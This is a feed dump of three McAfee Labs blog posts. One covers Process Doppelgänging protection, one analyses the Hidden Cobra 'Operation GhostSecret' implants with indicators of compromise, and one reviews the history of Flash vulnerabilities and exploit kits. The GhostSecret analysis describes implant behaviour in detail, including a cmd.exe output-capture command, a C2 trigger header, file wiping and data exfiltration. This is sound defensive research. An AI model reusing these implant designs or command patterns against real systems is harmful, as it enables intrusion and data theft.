McAfee Protects Against Doppelgänging Technique https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-doppelganging-technique/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-doppelganging-technique/#respond Fri, 11 May 2018 15:00:40 +0000 https://securingtomorrow.mcafee.com/?p=88808 This blog was co-written with Brook Schoenfield. That adversaries adopt new techniques is a known fact. However, the speed they include new innovative techniques to bypass end-point security and or evade sandboxing appears to be at an ever-increasing pace. Indeed, adversary adoption is often faster than the InfoSec industry can implement and test effective countermeasures. […]

The post McAfee Protects Against Doppelgänging Technique appeared first on McAfee Blogs.

]]>
This blog was co-written with Brook Schoenfield.

That adversaries adopt new techniques is a known fact. However, the speed they include new innovative techniques to bypass end-point security and or evade sandboxing appears to be at an ever-increasing pace. Indeed, adversary adoption is often faster than the InfoSec industry can implement and test effective countermeasures. For example, in December 2017, a tool was released to hide PowerShell in a graphic file. Within 7 days of the release, McAfee Advanced Threat Research started to see the technique being exploited by a Nation State actor. From announcement to inclusion, test and use in production within 7 days is impressive.

This week, security-researchers from Kaspersky discovered that an actor was applying the so-called Process Doppelgänging technique in what has been named the “SynAck” ransomware. (https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/)

So What is the Process Doppelgänging Technique in a Nutshell?

Using this technique gives the malware writer an ability to run malicious code/executable under the cover of a legitimate executable by using the transaction features of the NTFS filesystem (Windows Transactional NTFS API).

McAfee Detects and Protects

Since the initial release of this technique in December 2017, McAfee Labs has been investigating this technique and how we might protect our customers. In contrast to adversaries who can release mistakes in code and implementation, we simply cannot. We have to thoroughly test to ensure that when we release our solution it detects correctly and does not disrupt or break other software.

McAfee’s Product Security Incident Team (PSIRT), working in coordination with McAfee’s product teams1 delivered a protection to Process Doppelgänging in two of McAfee’s product suites (see below for more detail). McAfee’s protection has tested effective against EnSilo’s original proof of concept (PoC) and other examples. As an example, we tested recent malware using the technique against our detection feature with success:

McAfee’s protection prevents execution of a file if changes to it are contained within a Windows NTFS transaction. There are no legitimate uses for the Transactional API to be used in this way, so far as McAfee know.

Details of products that include protection against Process Doppelgänging follow:

  • ENS 10.5.4, released April 24, 2018
  • VSE 8.8 patch 11, released April 24, 2018
  • ENS 10.6, Public Beta available March 9, 2018. Release is targeted around June 1, 2018

WSS 16.0.12 will include the same protection.  Release of WSS is targeted for the end of May, or the beginning of June, 2018.

What Is Protected 

Windows 7 & 8 -> McAfee protection is effective

Win 10 RS3 -> McAfee protection is effective

Win 10 RS4 -> Microsoft has implemented the same protection as McAfee

EnSilo have documented that attempts to exploit Win 10 Pre RS3 results in a Windows crash, “Blue Screen of Death” (BSOD). McAfee’s testing confirms Ensilo’s results.

Users may not see a detection alert with some versions of McAfee products under some versions of Windows. McAfee testing indicates that all versions of product under every Windows version listed above are protected.

 

1McAfee thanks McAfee Software Engineer, Alnoor Allidina for the diligence and insight that lead to the Process Dopplegänging protection.

The post McAfee Protects Against Doppelgänging Technique appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-doppelganging-technique/feed/ 0
Global Malware Campaign Pilfers Data from Critical Infrastructure, Entertainment, Finance, Health Care, and Other Industries https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/global-malware-campaign-pilfers-data-from-critical-infrastructure-entertainment-finance-health-care-and-other-industries/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/global-malware-campaign-pilfers-data-from-critical-infrastructure-entertainment-finance-health-care-and-other-industries/#respond Wed, 25 Apr 2018 04:01:24 +0000 https://securingtomorrow.mcafee.com/?p=88419 McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure, entertainment, finance, health care, and telecommunications. This campaign, dubbed Operation GhostSecret, leverages multiple implants, tools, and malware variants associated with the state-sponsored cyber group Hidden Cobra. The infrastructure currently remains active. (For an extensive […]

The post Global Malware Campaign Pilfers Data from Critical Infrastructure, Entertainment, Finance, Health Care, and Other Industries appeared first on McAfee Blogs.

]]>
McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure, entertainment, finance, health care, and telecommunications. This campaign, dubbed Operation GhostSecret, leverages multiple implants, tools, and malware variants associated with the state-sponsored cyber group Hidden Cobra. The infrastructure currently remains active. (For an extensive analysis by the Advanced Threat Research team, see “Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide.”

The campaign is extremely complicated, leveraging a number of implants to steal information from infected systems and is intricately designed to evade detection and deceive forensic investigators. The implants vary considerably and although they share some functionality and code, they are categorized as different families. As McAfee Advanced Threat Research analysts investigated this campaign, we recognized many similarities to indicators used in the 2014 Sony Pictures attack.

A portion of this campaign aimed at the Turkish financial sector using the Bankshot implant was recently discovered by McAfee Advanced Threat Research analysts. This appears to have been the initial stage of Operation GhostSecret, as within days of publication, new attacks appeared  beyond the financial sector. Between March 14 and 18, we observed the data reconnaissance implant in organizations across 17 countries.

Delving further into this campaign reveals a narrow list of organizations across the globe; the threat actors have been explicit about who can connect from which IP address. Reviewing the WHOIS information for these IP addresses shows us that there is some correlation in geography, although there are no additional clues why these addresses were used.

As we monitor this campaign, it is clear that the publicity associated with the (we assume) first phase of this campaign did nothing to slow the attacks. The threat actors not only continued but also increased the scope of the attack, both in types of targets and in the tools they used. We try to avoid using the word sophisticated because it is both subjective and overused. Nonetheless, the attackers have significant capabilities, demonstrated by their tools development and the pace at which they operate.

Fighting cybercrime is a global effort best undertaken through effective partnerships between the public and private sectors. McAfee is working with Thai government authorities to take down the control server infrastructure of Operation GhostSecret, while preserving the systems involved for further analysis by law enforcement authorities. By creating and maintaining partnerships with worldwide law enforcement, McAfee demonstrates that we are stronger together.

The post Global Malware Campaign Pilfers Data from Critical Infrastructure, Entertainment, Finance, Health Care, and Other Industries appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/global-malware-campaign-pilfers-data-from-critical-infrastructure-entertainment-finance-health-care-and-other-industries/feed/ 0
Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/#respond Wed, 25 Apr 2018 04:01:20 +0000 https://securingtomorrow.mcafee.com/?p=88422 McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure, entertainment, finance, health care, and telecommunications. This campaign, dubbed Operation GhostSecret, leverages multiple implants, tools, and malware variants associated with the state-sponsored cyber group Hidden Cobra. The infrastructure currently remains active. In this post, […]

The post Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide appeared first on McAfee Blogs.

]]>
McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure, entertainment, finance, health care, and telecommunications. This campaign, dubbed Operation GhostSecret, leverages multiple implants, tools, and malware variants associated with the state-sponsored cyber group Hidden Cobra. The infrastructure currently remains active. In this post, we dive deeply into this campaign. For a brief overview of this threat, see “Global Malware Campaign Pilfers Data from Critical Infrastructure, Entertainment, Finance, Health Care, and Other Industries.”

Our investigation into this campaign reveals that the actor used multiple malware implants, including an unknown implant with capabilities similar to Bankshot. From March 18 to 26 we observed the malware operating in multiple areas of the world. This new variant resembles parts of the Destover malware, which was used in the 2014 Sony Pictures attack.

Furthermore, the Advanced Threat Research team has discovered Proxysvc, which appears to be an undocumented implant. We have also uncovered additional control servers that are still active and associated with these new implants. Based on our analysis of public and private information from submissions, along with product telemetry, it appears Proxysvc was used alongside the 2017 Destover variant and has operated undetected since mid-2017.

The attackers behind Operation GhostSecret used a similar infrastructure to earlier threats, including SSL certificates used by FakeTLS in implants found in the Destover backdoor variant known as Escad, which was used in the Sony Pictures attack. Based on our technical analysis, telemetry, and data from submissions, we can assert with high confidence that this is the work of the Hidden Cobra group. The Advanced Threat Research team uncovered activity related to this campaign in March 2018, when the actors targeted Turkish banks. These initial findings appear to be the first stage of Operation GhostSecret. For more on the global aspect of this threat, see “Global Malware Campaign Pilfers Data from Critical Infrastructure of Entertainment, Finance, Health Care, and Other Industries.”

Analysis

The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018. This implant appears to be a derivative of implants authored before by Hidden Cobra and contains functionality similar to that of Bankshot, with code overlaps from other Hidden Cobra implants. However, the variant is not based on Bankshot. Our analysis of the portable executable’s rich-header data reveals that the two implants were compiled in different development environments. (The PE rich header is an undocumented part of a Windows executable that reveals unique information to identify the Microsoft compiler and linker used to create the program. It is helpful for identifying similarities between malware variants to establish common development environments.) Our analysis of the code and PE rich header indicates that Bankshot, Proxysvc, and the Destover-like implant are distinct families, but also contain overlapping code and functionality with current tools of Hidden Cobra.

PE rich header data from the 2018 Bankshot implant.

PE rich header data from the new February 2018 implant.

PE rich header data from Proxysvc.dll.

When we compared the PE rich header data of the new February 2018 implant with a variant of Backdoor.Escad (Destover) from 2014 shortly before the Sony Pictures attack, we found the signatures to be identical. The Destover-like variant is 83% similar in code to a 2015 variant and contains the same rich PE header signature as the Backdoor.Escad variant we analyzed. Thus the new implant is likely a derivative of components of Destover. We determined that the implant is not a direct copy of well-known previous samples of Destover; rather, Hidden Cobra created a new hybrid variant using functionality present in earlier versions.

2014 Backdoor.Escad (hash: 8a7621dba2e88e32c02fe0889d2796a0c7cb5144).

2015 Destover variant (7fe373376e0357624a1d21cd803ce62aa86738b6).

The February implant fe887fcab66d7d7f79f05e0266c0649f0114ba7c was obtained from an unknown submitter in the United States on February 14, two days after it was compiled. This Korean-language file used the control server IP address 203.131.222.83. The implant is nearly identical to an unknown 2017 sample (8f2918c721511536d8c72144eabaf685ddc21a35) except that the control server addresses are different. The 2017 sample used address 14.140.116.172. Both implants specifically use FakeTLS with PolarSSL, which we saw in previous Hidden Cobra implants. PolarSSL libraries have appeared in implants since the Sony Pictures incident and were used exclusively in the implant Backdoor.Destover. This implant incorporated a custom control server protocol that sends traffic over port 443. The implementation does not format the packets in standard SSL, but rather in a custom format and transmitted over SSL—hence, FakeTLS. The control server traffic when compared to Backdoor.Escad is nearly identical.

TLS traffic in Backdoor.Destover, the 2018 Destover-like variant.

TLS traffic in Backdoor.Escad.

Further research into IP address 14.140.116.172 leads us to additional hidden components involved in the overall infrastructure. Proxysvc.dll contains a list of hardcoded IP addresses, including the preceding address, all located in India. Despite the name, this component is not an SSL proxy, but rather a unique data-gathering and implant-installation component that listens on port 443 for inbound control server connections.

Proxysvc was first collected by public and private sources on March 22 from an unknown entity in the United States. The executable dropper for the component was submitted from South Korea on March 19. McAfee telemetry analysis from March 16 to 21 reveals that Proxysvc components were active in the wild. Our research shows this listener component appeared mostly in higher education organizations. We suspect this component is involved in core control server infrastructure. These targets were chosen intentionally to run Proxysvc because the attacker would have needed to know which systems were infected to connect to them. This data also indicates this infrastructure had been operating for more than a year before its discovery. The Advanced Threat Research team found this component running on systems in 11 countries. Given the limited capabilities of Proxysvc, it appears to be part of a covert network of SSL listeners that allow the attackers to gather data and install more complex implants or additional infrastructure. The SSL listener supports multiple control server connections, rather than a list of hardcoded addresses. By removing the dependency on hardcoded IP addresses and accepting only inbound connections, the control service can remain unknown.

The number of infected systems by country in which Proxysvc.dll was operating in March. Source: McAfee Advanced Threat Research.

The 2018 Destover-like implant appeared in organizations in 17 countries between March 14 and March 18. The impacted organizations are in industries such as telecommunications, health, finance, critical infrastructure, and entertainment.

The number of infected systems by country in which the Destover variant was operating in March. Source: McAfee Advanced Threat Research.

 

Control Servers

Further investigation into the control server infrastructure reveals the SSL certificate d0cb9b2d4809575e1bc1f4657e0eb56f307c7a76, which is tied to the control server 203.131.222.83, used by the February 2018 implant. This server resides at Thammasat University in Bangkok, Thailand. The same entity hosted the control server for the Sony Pictures implants. This SSL certificate has been used in Hidden Cobra operations since the Sony Pictures attack. Analyzing this certificate reveals additional control servers using the same PolarSSL certificate. Further analysis of McAfee telemetry data reveals several IP addresses that are active, two within the same network block as the 2018 Destover-like implant.

Number of infections by Thammasat Universityhosted control servers from March 1519, 2018. Source: McAfee Advanced Threat Research.

Implant Origins

McAfee Advanced Threat Research determined that the Destover-like variant originated from code developed in 2015. The code reappeared in variants surfacing in 2017 and 2018 using nearly the same functionality and with some modifications to commands, along with an identical development environment based on the rich PE header information.

Both implants (fe887fcab66d7d7f79f05e0266c0649f0114ba7c and 8f2918c721511536d8c72144eabaf685ddc21a35) are based on the 2015 code. When comparing the implant 7fe373376e0357624a1d21cd803ce62aa86738b6, compiled on August 8, 2015, we found it 83% similar to the implant from 2018. The key similarities and differences follow.

Similarities

  • Both variants build their API imports dynamically using GetProcAddress, including wtsapi32.dll for gathering user and domain names for any active remote sessions
  • Both variants contain a variety of functionalities based on command IDs issued by the control servers
  • Common capabilities of both malware:
    • Listing files in directory
    • Creating arbitrary processes
    • Writing data received from control servers to files on disk
    • Gathering information for all drives
    • Gathering process times for all processes
    • Sending the contents of a specific file to the control server
    • Wiping and deleting files on disk
    • Setting the current working directory for the implant
    • Sending disk space information to the control server
  • Both variants use a batch file mechanism to delete their binaries from the system
  • Both variants run commands on the system, log output to a temporary file, and send the contents of the file to their control servers

Differences

The following capabilities in the 2015 implant are missing from the 2018 variant:

  • Creating a process as a specific user
  • Terminating a specific process
  • Deleting a specific file
  • Setting file times for a specific file
  • Getting current system time and sending it to the control server
  • Reading the contents of a file on disk. If the filepath specified is a directory, then listing the directory’s contents.
  • Setting attributes on files

The 2015 implant does not contain a hardcoded value of the IP address it must connect to. Instead it contains a hardcoded sockaddr_in data structure (positioned at 0x270 bytes before the end of the binary) used by the connect() API to specify port 443 and control server IP addresses:

  • 193.248.247.59
  • 196.4.67.45

Both of these control servers used the PolarSSL certificate d0cb9b2d4809575e1bc1f4657e0eb56f307c7a76.

Proxysvc

At first glance Proxysvc, the SSL listener, looks like a proxy setup tool (to carry out man-in-the-middle traffic interception). However, a closer analysis of the sample reveals it is yet another implant using HTTP over SSL to receive commands from the control server.

Proxysvc appears to be a downloader whose primary capability is to deliver additional payloads to the endpoint without divulging the control address of the attackers. This implant contains a limited set of capabilities for reconnaissance and subsequent payload installations. This implant is a service DLL that can also run as a standalone process.

The ServiceMain() sub function of Proxysvc.

The implant cannot connect to a control server IP address or URL. Instead it accepts commands from the control server. The implant binds and listens to port 443 for any incoming connections. 

 

 

Proxysvc binding itself to the specified port.

Proxysvc begins accepting incoming requests to process. 

Proxysvc makes an interesting check while accepting connections from a potential control server. It checks against a list of IP addresses to make sure the incoming connection is not from any of the following addresses. If the incoming request does come from one of these, the implant offers a zero response (ASCII “0”) and shuts down the connection.

  • 121.240.155.74
  • 121.240.155.76
  • 121.240.155.77
  • 121.240.155.78
  • 223.30.98.169
  • 223.30.98.170
  • 14.140.116.172 

SSL Listener Capabilities

The implant receives HTTP-based commands from a control server and parses the HTTP Content-Type and Content-Length from the HTTP header. If the HTTP Content-Type matches the following value, then the implant executes the command specified by the control server:

Content-Type: 8U7y3Ju387mVp49A

HTTP Content-Type comparison with a custom implant value.

The implant has the following capabilities:

  • Writing an executable received from the control server into a temp file and executing it

Proxysvc writing a binary to a temp directory and executing it. 

  • Gathering system information and sending it to the control server. The system information gathered from the endpoint includes:
    • MAC address of the endpoint
    • Computer Name
    • Product name from HKLM\Software\Microsoft\Windows NT\CurrentVersion ProductName
    • This information is concatenated into a single string in the format: “MAC_Address|ComputerName|ProductName” and is sent to the control server
  • Recording HTTP requests from the control server to the temporary file prx in the implant’s install directory with the current system timestamp

Analyzing the Main Implant

The February 2018 implant contains a wide variety of capabilities including data exfiltration and arbitrary command execution on the victim’s system. Given the extensive command structure that the implant can receive from the control server, this is an extensive framework for data reconnaissance and exfiltration, and indicates advanced use. For example, the implant can wipe and delete files, execute additional implants, read data out of files, etc.

The implant begins execution by dynamically loading APIs to perform malicious activities. Libraries used to load the APIs include:

  • Kernel32.dll
  • Apvapi32.dll
  • Oleaut32.dll
  • Iphlpapi.dll
  • Ws2_32.dll
  • Wtsapi32.dll
  • Userenv.dll
  • Ntdll.dll

The main implant dynamically loading APIs.

As part of its initialization, the implant gathers basic system information and sends it to its hardcoded control server 203.131.222.83 using SSL over port 443:

  • Country name from system’s locale
  • Operating system version
  • Processor description from

HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ProcessorNameString

  • Computer name and network adapters information
  • Disk space information for disks C: through Z: including total memory in bytes, total available memory in bytes, etc.
  • Current memory status including total physical memory in bytes, total available memory, etc.
  • Domain name and usernames based on current remote sessions

Domain name and username extraction using Win32 WTS APIs.

Data Reconnaissance

The implant receives commands over SSL as encoded data. This data is decoded, and the correct command ID is derived. Valid command IDs reside between 0 and 0x1D.

Switch case handling command execution based on command IDs.

Based on the command ID, the implant can perform the following functions:

  • Gather system information and exfiltrate to the control server (same as the basic data-gathering functionality previously described)
  • Get volume information for all drives on the system (A: through Z:) and exfiltrate to the control server

Gathering volume information.

  • List files in a directory. The directory path is specified by the control server.
  • Read the contents of a file and send it to the control server

Reading file contents and sending it the control server.

  • Write data sent by the control server to a specified file path

Open handle to a file for writing with no shared permissions.

Writing data received from control server to file.

  • Create new processes based on the file path specified by the control server.

Creating a new process for a binary specified by the control server.

  • Wipe and delete files specified by the control server

Wiping and deleting files.

  • Execute a binary on the system using cmd.exe and log the results into a temp file, which is then read and the logged results are sent to the control server. The command line:

cmd.exe /c “<file_path> > %temp%\PM*.tmp 2>&1”

Executing a command and logging results to a temp file.

  • Get information for all currently running processes

Getting process times for all processes on the system.

Getting username and domain from accounts associated with a running process.

  • Delete itself from disk using a batch file.

Creating a batch file for self-deletion.

  • Store encoded data received from the control server as a registry value at:

HKLM\Software\Microsoft\Windows\CurrentVersion\TowConfigs Description

  • Set and get the current working directory for the implant

Setting and getting the current working directory for the implant’s process.

The command handler index table is organized in the implant as follows:

The command handler index table.

Conclusion

This analysis by the McAfee Advanced Threat Research team has found previously undiscovered components that we attribute to Hidden Cobra, which continues to target organizations around the world. The evolution in complexity of these data-gathering implants reveals an advanced capability by an attacker that continues its development of tools. Our investigation uncovered an unknown infrastructure connected to recent operations with servers in India using an advanced implant to establish a covert network to gather data and launch further attacks.

The McAfee Advanced Threat Research team will provide further updates as our investigation develops.

Fighting cybercrime is a global effort best undertaken through effective partnerships between the public and private sectors. McAfee is working with Thai government authorities to take down the control server infrastructure of Operation GhostSecret, while preserving the systems involved for further analysis by law enforcement authorities. By creating and maintaining partnerships with worldwide law enforcement, McAfee demonstrates that we are stronger together.  

Indicators of Compromise

McAfee detection

  • Trojan-Bankshot2

MITRE ATT&CK techniques

  • Exfiltration over control server channel: data is exfiltrated over the control server channel using a custom protocol
  • Commonly used port: the attackers used common ports such as port 443 for control server communications
  • Service execution: registers the implant as a service on the victim’s machine
  • Automated collection: the implant automatically collects data about the victim and sends it to the control server
  • Data from local system: local system is discovered and data is gathered
  • Process discovery: implants can list processes running on the system
  • System time discovery: part of the data reconnaissance method, the system time is also sent to the control server
  • File deletion: malware can wipe files indicated by the attacker

IP addresses

  • 203.131.222.83
  • 14.140.116.172
  • 203.131.222.109

Hashes

  • fe887fcab66d7d7f79f05e0266c0649f0114ba7c
  • 8f2918c721511536d8c72144eabaf685ddc21a35
  • 33ffbc8d6850794fa3b7bccb7b1aa1289e6eaa45 

The post Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/feed/ 0
Despite Decline in Use of Adobe Flash, Vulnerabilities Will Continue to Cause Concern https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/despite-decline-use-adobe-flash-vulnerabilities-will-continue-cause-concern/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/despite-decline-use-adobe-flash-vulnerabilities-will-continue-cause-concern/#respond Tue, 17 Apr 2018 13:00:02 +0000 https://securingtomorrow.mcafee.com/?p=88523 This post was researched and written by Brook Schoenfield with the assistance of Tim Hux, Abhishek Karnik, Asheer Malhotra, and Steve Povolny McAfee Advanced Threat Research team analysts have studied Adobe Flash Player for years because it is a popular target for attacks. As always, we advise customers to remain current with McAfee’s latest DAT […]

The post Despite Decline in Use of Adobe Flash, Vulnerabilities Will Continue to Cause Concern appeared first on McAfee Blogs.

]]>
This post was researched and written by Brook Schoenfield with the assistance of Tim Hux, Abhishek Karnik, Asheer Malhotra, and Steve Povolny

McAfee Advanced Threat Research team analysts have studied Adobe Flash Player for years because it is a popular target for attacks. As always, we advise customers to remain current with McAfee’s latest DAT versions. In this post we want to provide some insight into the history of Flash exploitation and possible future trends.

Morphisec published an analysis of a new set of Flash flaws, CVE-2018-4878, that have been exploited in the wild. Hardik Shah of McAfee Labs posted a technical analysis of CVE-2018-4878’s mechanisms on March 2:

“The number of Flash Player exploits has recently declined, due to Adobe’s introduction of various measures to strengthen Flash’s security. Occasionally, however, an exploit still arises. On January 31, Kr-Cert reported a zero-day vulnerability, identified as CVE-2018-4878, being exploited in the field. (Adobe has released an update to fix this flaw.)”

Details about McAfee protections covering CVE-2018-4878 appear at the end of this article.

This post will examine the history of Flash’s issues since the first Common Vulnerabilities and Exposures (CVE) list for Flash was published in 2006. By examining some of the data, both users and owners of sites that employ Flash can better understand Flash flaws and why Flash will continue to interest attackers, even though Adobe will discontinue development of Flash in 2020.

We examined historical Flash data regarding vulnerabilities. We also accounted for the current distribution and uses of Flash. Through this analysis, we believe that despite Adobe announcing Flash’s end of life, a number of sites will continue to use and depend upon Flash for at least the immediate future, even as sites convert to alternative technologies. (See the list of example sites, below.) Flash continues to offer attackers an exploitable collection of flaws for the immediate future.

The following chart uses CVE data. Although not every exploitable and exploited condition receives a CVE entry, most flaws that are discovered through security research or reported against major software vendors’ products eventually gains a CVE number that is posted to the CVE database kept by Mitre. Therefore, CVE offers a convenient repository of vulnerability data to aid research.

Searching the entire database for every instance of “Flash Player” or “Adobe Flash Player” returned 1,050 CVE entries from the years 2006-2017.

There was a steady increase in reported vulnerabilities between 2006 and 2014. Then we saw a big jump in 2015 and 2016. Of the 1,050 issues, about 79% (830) gave attackers some sort of code execution capability, though not every one of those 830 flaws allowed remote code execution. Still, an attacker gains a significant advantage from running any code. The McAfee Labs analysis shows that CVE-2018-4878 was another example of remote code execution, which usually leads to full compromise. This point suggests that Flash vulnerabilities will remain a significant target.

The data source CVE Details offers the following distribution of Flash CVE vulnerabilities:

Source: CVE Details.

In 2015 through 2017, 81% of flaws resulted in code execution of one form or another.

CVE Details also assigns Flash issues with Common Vulnerability Scoring System scores. Many issues from 2015–2017 earned scores above 9, which is considered severe.

  • 2015: 294 vulnerabilities ≥ 9
  • 2016: 224 vulnerabilities ≥ 9
  • 2017: 60 vulnerabilities ≥ 9

These severe scores further highlight why attackers remain interested in exploiting Flash weaknesses; they offer significant “attacker value” for the effort required to exploit them.  Looking at the historical distribution of issues, we see a spike in 2015. Then the spike drops off. It was in the latter part of 2014 that Adobe adopted a change in their software security strategy.

“’Finding and fixing bugs isn’t the way to go, it’s … making it harder and more expensive for [attackers] to achieve an outcome,” said Adobe’s Chief Security Officer, Brad Arkin, at a conference in October 2014. He urged organizations to stop patching every vulnerability and instead increase the cost of exploitation to frustrate attackers. “The bad guys aren’t stupid,” he added. “They are going to apply their resources in the [most] cost efficient way possible, and so they seek to minimize the cost of developing an exploit.”

Adobe’s shift in software security strategy has been to make exploiting issues prohibitively expensive so that attackers will find easier, less resource-intensive, and perhaps more reliable methods. Rather than chase every flaw, Adobe’s approach focuses on building defensive techniques that protect vulnerabilities, just as standard secure development life cycle techniques attempt to prevent new vulnerabilities from being released.

Little in software development happens immediately, especially on a large scale. There is typically a lag—usually one to two years—between a strategy shift and results. In any event, the first issues to be eliminated are often the easiest to fix. As the program’s effectiveness improves, resources are available to address harder problems.

Brad Arkin spoke about a strategy shift in the fall of 2014. We expected that shift to take time, and that is what we see in the data: In 2016, the number of newly discovered issues began to decline. However, the steep increase in vulnerabilities in 2015 and 2016 requires some additional examination.

When security researchers focus on a code base, they generally start by finding the easiest-to-discover issues. As these are found and fixed, researchers probe deeper, shifting to techniques that increase in difficulty. Due to this ever-increasing difficulty, we often see a decrease in discoveries; it takes more time and effort to uncover tricky issues.

Coupling the increasing difficulty of finding problems against the increase in effectiveness of a software security program, we find a distribution like what we have seen with Flash CVE reporting from 2015 through 2017. Until 2015, attackers exploited relatively easy-to-find cross-site scripting errors, but these largely disappeared after 2014. Suddenly, in 2015, there is a huge jump in the discovery of difficult-to-uncover memory issues and code execution opportunities. The leap in the CVE numbers reflects more technically challenging issues surfacing just as Adobe’s software strategy was making its shift.

The new strategy had not had time to be fully effective by 2015. Plus, Flash, like all complex software, carries a large amount of legacy code. Just when researchers were digging deeper and harder into the code base, Adobe’s software security change required not just chasing vulnerability fixes, but also generating protective code and designs—all of which take time to implement. This typical situation explains the influx of critical new issues in 2015, and their subsequent continuous reductions.

Still, no single or collection of security techniques is perfect. In 2017, Flash marked 70 new issues. So far in 2018, three have been discovered. The most recent, CVE-2018-4878, is technically challenging and appears to be within protections that Adobe has placed within byte arrays to prevent these memory structures from being misused. “[CVE-2018-4878] bypassed the byte array mitigation feature that was introduced to prevent ‘length corruption’ attacks in Flash,” wrote McAfee’s Hardik Shah in “How Hackers Bypassed an Adobe Flash Protection Mechanism.”

It is just as possible to unwittingly add an exploitation opportunity when implementing software protections as when writing any other code. Of the 73 vulnerabilities discovered in 2017 and 2018, there is no method, without tracking code changes, to know when each of the flaws was introduced. It is likely that some of them arose in code carried forward from earlier versions, that is, from legacy code. Software implementers have a compelling argument to reuse as much code as possible in each new version. It is cheaper because it saves time.

In a product with a history as long as Flash’s (more than 10 years), some of its code was written for a different threat landscape, not for today’s attackers and their more sophisticated tools and techniques. It is reasonable to suspect that a significant portion of the last two years’ worth of newly discovered issues are in code that has been carried into the latest versions. Those flaws contrast with the most recent vulnerability, CVE-2018-4878, which bypasses and abuses protections that were likely put into place after Adobe’s shift in strategy. The code that CVE-2018-4878 abuses was intended to make exploitation of byte arrays “more expensive.”

To measure the popularity of Flash, we turned to Q-Success’ W3Techs web survey data. The following table shows the use of four client-side languages, with Flash declining steadily since 2011. JavaScript, on the other hand, today is nearly ubiquitous, at 95%. The two leading languages are graphed in the chart that follows the table.

Historical Yearly Trends in the Usage of Client-Side Programming Languages for Websites

Usage (in % of sites) of Client-Side Programming Languages for Websites

Chart data as of March 8, 2018. Source for table and chart: © 2009-2018 Q-Success DI Gelbmann GmbH

From W3Techs data, we can see that Flash use has declined steadily, to only 5% of surveyed web sites. Doesn’t that suggest that Flash exploitation would also decline or even stop? Unfortunately, it does not.

The following W3Techs chart shows that although the number of sites using Flash is fairly low, enough high-traffic sites employ it to keep Flash popular.

High-Traffic Sites That Still Use Adobe Flash

Source: PublicWWW.

If popular websites continue to use Flash, then Flash Player will remain in use on users’ machines for some time. Adobe has promised to continue supporting Flash Player until the end of 2020. Unfortunately, this means merely that software updates, features, and patches will no longer be added; it does not effectively change Flash’s overall use. Only the end of websites requiring Flash will remove its vulnerabilities from the security picture.

A highly targeted attack may need to compromise only a single computer to access an organization’s digital infrastructure and gain access to strategic targets. That single computer could be running an unpatched or dated version of Flash.

As the use of Flash has declined, client-side JavaScript has become the de facto browser programming language. Yet JavaScript’s takeover does not fully solve the problem because it can deliver a Flash payload. Although some of the Flash vulnerabilities we have analyzed can be exploited remotely, many cannot. An attacker often requires some interaction by the victim to run a Flash exploit. JavaScript has become an increasingly common delivery mechanism for this purpose.

DIY: Exploits in a Kit

Perhaps more important to attackers is the easy availability of Flash exploits ready to use in numerous exploit “kits.” Kits package all the necessary code to exercise a set of known vulnerabilities. Access to readily available exploits in a kit means far less attacker effort. Kits also “lower the technical bar.” Attackers need not understand how an exploit works; they can simply leverage the packages without knowing the technical details.

Old Flash exploits are still available, along with new ones such as CVE-2018-4878, according to Tim Hux of the McAfee Advanced Threat Research team. “The Bizarro Sundown (aka GreenFlash) and ThreadKit exploit kits added the exploit to their lists last month,” he said. “The Rig and Magnitude exploit kits added this flaw to their arsenals this month.”

Adding a new exploit does not mean the old ones are no longer available. Exploit kits are additive. The Rig kit, which appeared in 2014, contains the following Flash exploits:

CVE-2013-0634           CVE-2015-3113

CVE-2014-0497           CVE-2015-5119

CVE-2014-0515           CVE-2015-5122

CVE-2014-0569           CVE-2015-7645

CVE-2015-0311           CVE-2016-1019

CVE-2015-0359           CVE-2016-4117

CVE-2015-3090

Old exploits do not die, they just get used less often as software is upgraded to fix earlier versions. If an attacker finds a vulnerable version of Flash in use, kits will have exploits to employ.

Conclusion

It is difficult, and perhaps impossible, to prove that software is error free. (Alan Turing’s famous proof mathematically shows that automated processes cannot be proved correct through automation.) As famed computer scientist Edsger Dijkstra noted, “Testing shows the presence, not the absence of bugs.” (“Software Engineering Techniques,” NATO Science Committee, page 16.) In other words, even software that has passed a battery of security tests before release may still contain exploitable conditions.

From our analysis of the relationship between Flash CVEs and Flash’s ongoing use, especially on high-traffic sites, McAfee’s Advanced Threat Research team believes that Flash vulnerabilities will continue to offer attackers a means toward malicious ends. However, Adobe’s shift in security strategy is an excellent step in reducing the number of newly discovered issues, which should maintain their decline.

McAfee protections for CVE-2018-4878

McAfee’s malware engine can parse Flash for malicious content. Customers who have turned on automatic updates or who update regularly have been protected against seven new variants of CVE-2018-4878 since February 6.

McAfee Host Intrusion Prevention signatures 8001, 1149, 6011, and 6010 detect CVE-2018-4878 exploits.

